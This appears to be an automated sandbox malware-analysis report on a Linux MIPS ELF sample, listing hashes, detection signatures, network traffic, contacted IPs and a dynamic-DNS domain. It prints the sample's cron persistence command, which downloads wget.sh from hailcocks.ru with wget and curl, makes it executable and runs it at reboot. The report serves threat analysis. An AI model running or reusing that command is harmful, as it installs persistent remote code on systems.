Linux Analysis Report
mpsl.elf

Overview

General Information

Sample name: mpsl.elf
Analysis ID: 1541164
MD5: 21256c2ed906767ea878798b626bbd96
SHA1: 2eba4ba74f0ab72e1450b9d69e37416acfd6f987
SHA256: f7f8dd8891b1cfa2703a5b090a8c523a7b22bdd4c87c6793af86e30bc080e2a8
Tags: elfuser-abuse_ch
Infos:

Detection

Score: 48
Range: 0 - 100
Whitelisted: false

Signatures

Executes the "crontab" command typically for achieving persistence
Sample tries to persist itself using cron
Detected TCP or UDP traffic on non-standard ports
Enumerates processes within the "proc" file system
Executes commands using a shell command-line interpreter
Found strings indicative of a multi-platform dropper
Sample has stripped symbol table
Sample listens on a socket
Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)
Uses the "uname" system call to query kernel version information (possible evasion)

Classification

Found strings indicative of a multi-platform dropper
Source: tmp.73SHgw.19.dr String: @reboot cd /tmp; wget http://hailcocks.ru/wget.sh; curl --output wget.sh http://hailcocks.ru/wget.sh; chmod 777 wget.sh; ./wget.sh
Detected TCP or UDP traffic on non-standard ports
Source: global traffic TCP traffic: 192.168.2.23:41616 -> 88.151.195.22:9692
Source: global traffic TCP traffic: 192.168.2.23:59006 -> 31.13.248.89:21150
Source: global traffic TCP traffic: 192.168.2.23:56726 -> 185.82.200.181:16227
Sample listens on a socket
Source: /tmp/mpsl.elf (PID: 6214) Socket: 127.0.0.1:1172 Jump to behavior
Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)
Source: global traffic TCP traffic: 192.168.2.23:42836 -> 91.189.91.43:443
Source: global traffic TCP traffic: 192.168.2.23:42516 -> 109.202.202.202:80
Source: global traffic TCP traffic: 192.168.2.23:43928 -> 91.189.91.42:443
Source: unknown TCP traffic detected without corresponding DNS query: 91.189.91.43
Source: unknown TCP traffic detected without corresponding DNS query: 109.202.202.202
Source: unknown TCP traffic detected without corresponding DNS query: 91.189.91.42
Source: unknown TCP traffic detected without corresponding DNS query: 91.189.91.43
Source: unknown TCP traffic detected without corresponding DNS query: 109.202.202.202
Source: unknown TCP traffic detected without corresponding DNS query: 91.189.91.42
Source: unknown UDP traffic detected without corresponding DNS query: 65.21.1.106
Source: unknown UDP traffic detected without corresponding DNS query: 65.21.1.106
Source: unknown UDP traffic detected without corresponding DNS query: 202.61.197.122
Source: unknown UDP traffic detected without corresponding DNS query: 168.235.111.72
Source: unknown UDP traffic detected without corresponding DNS query: 194.36.144.87
Source: global traffic DNS traffic detected: DNS query: kingstonwikkerink.dyn
Source: tmp.73SHgw.19.dr String found in binary or memory: http://hailcocks.ru/wget.sh;
Source: unknown Network traffic detected: HTTP traffic on port 43928 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 42836 -> 443
Sample has stripped symbol table
Source: ELF static info symbol of initial sample .symtab present: no
Source: classification engine Classification label: mal48.troj.linELF@0/1@5/0

Persistence and Installation Behavior
barindex
Executes the "crontab" command typically for achieving persistence
Source: /bin/sh (PID: 6221) Crontab executable: /usr/bin/crontab -> crontab -l Jump to behavior
Source: /bin/sh (PID: 6220) Crontab executable: /usr/bin/crontab -> crontab - Jump to behavior
Sample tries to persist itself using cron
Source: /usr/bin/crontab (PID: 6220) File: /var/spool/cron/crontabs/tmp.73SHgw Jump to behavior
Source: /usr/bin/crontab (PID: 6220) File: /var/spool/cron/crontabs/root Jump to behavior
Enumerates processes within the "proc" file system
Source: /tmp/mpsl.elf (PID: 6273) File opened: /proc/6351/status Jump to behavior
Source: /tmp/mpsl.elf (PID: 6273) File opened: /proc/6362/status Jump to behavior
Source: /tmp/mpsl.elf (PID: 6273) File opened: /proc/6361/status Jump to behavior
Source: /tmp/mpsl.elf (PID: 6273) File opened: /proc/6353/status Jump to behavior
Source: /tmp/mpsl.elf (PID: 6273) File opened: /proc/6364/status Jump to behavior
Source: /tmp/mpsl.elf (PID: 6273) File opened: /proc/6352/status Jump to behavior
Source: /tmp/mpsl.elf (PID: 6273) File opened: /proc/6363/status Jump to behavior
Source: /tmp/mpsl.elf (PID: 6273) File opened: /proc/6355/status Jump to behavior
Source: /tmp/mpsl.elf (PID: 6273) File opened: /proc/6366/status Jump to behavior
Source: /tmp/mpsl.elf (PID: 6273) File opened: /proc/6354/status Jump to behavior
Source: /tmp/mpsl.elf (PID: 6273) File opened: /proc/6365/status Jump to behavior
Source: /tmp/mpsl.elf (PID: 6273) File opened: /proc/6357/status Jump to behavior
Source: /tmp/mpsl.elf (PID: 6273) File opened: /proc/6356/status Jump to behavior
Source: /tmp/mpsl.elf (PID: 6273) File opened: /proc/6367/status Jump to behavior
Source: /tmp/mpsl.elf (PID: 6273) File opened: /proc/6041/cmdline Jump to behavior
Source: /tmp/mpsl.elf (PID: 6273) File opened: /proc/6360/status Jump to behavior
Source: /tmp/mpsl.elf (PID: 6273) File opened: /proc/6359/status Jump to behavior
Source: /tmp/mpsl.elf (PID: 6273) File opened: /proc/6358/status Jump to behavior
Source: /tmp/mpsl.elf (PID: 6273) File opened: /proc/6317/status Jump to behavior
Executes commands using a shell command-line interpreter
Source: /tmp/mpsl.elf (PID: 6217) Shell command executed: sh -c "(crontab -l ; echo \"@reboot cd /tmp; wget http://hailcocks.ru/wget.sh; curl --output wget.sh http://hailcocks.ru/wget.sh; chmod 777 wget.sh; ./wget.sh\") | crontab -" Jump to behavior
Source: submitted sample Stderr: no crontab for root: exit code = 0
Uses the "uname" system call to query kernel version information (possible evasion)
Source: /tmp/mpsl.elf (PID: 6214) Queries kernel information via 'uname': Jump to behavior
Source: mpsl.elf, 6214.1.0000558c1b404000.0000558c1b4cd000.rw-.sdmp, mpsl.elf, 6222.1.0000558c1b404000.0000558c1b4cd000.rw-.sdmp, mpsl.elf, 6224.1.0000558c1b404000.0000558c1b4cd000.rw-.sdmp Binary or memory string: /etc/qemu-binfmt/mipsel
Source: mpsl.elf, 6214.1.0000558c1b404000.0000558c1b4cd000.rw-.sdmp, mpsl.elf, 6222.1.0000558c1b404000.0000558c1b4cd000.rw-.sdmp, mpsl.elf, 6224.1.0000558c1b404000.0000558c1b4cd000.rw-.sdmp Binary or memory string: U!/etc/qemu-binfmt/mipsel
Source: mpsl.elf, 6214.1.00007fffe96f6000.00007fffe9717000.rw-.sdmp, mpsl.elf, 6222.1.00007fffe96f6000.00007fffe9717000.rw-.sdmp, mpsl.elf, 6224.1.00007fffe96f6000.00007fffe9717000.rw-.sdmp Binary or memory string: x86_64/usr/bin/qemu-mipsel/tmp/mpsl.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/mpsl.elf
Source: mpsl.elf, 6214.1.00007fffe96f6000.00007fffe9717000.rw-.sdmp, mpsl.elf, 6222.1.00007fffe96f6000.00007fffe9717000.rw-.sdmp, mpsl.elf, 6224.1.00007fffe96f6000.00007fffe9717000.rw-.sdmp Binary or memory string: /usr/bin/qemu-mipsel

No Screenshots

  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
185.82.200.181
 unknown Netherlands
60117 HSAE false
88.151.195.22
 unknown Azerbaijan
15723 AZERONLINEAZ false
109.202.202.202
 unknown Switzerland
13030 INIT7CH false
31.13.248.89
 unknown Bulgaria
34224 NETERRA-ASBG false
91.189.91.43
 unknown United Kingdom
41231 CANONICAL-ASGB false
91.189.91.42
 unknown United Kingdom
41231 CANONICAL-ASGB false

Contacted Domains

Name IP Active
kingstonwikkerink.dyn 81.29.149.178 true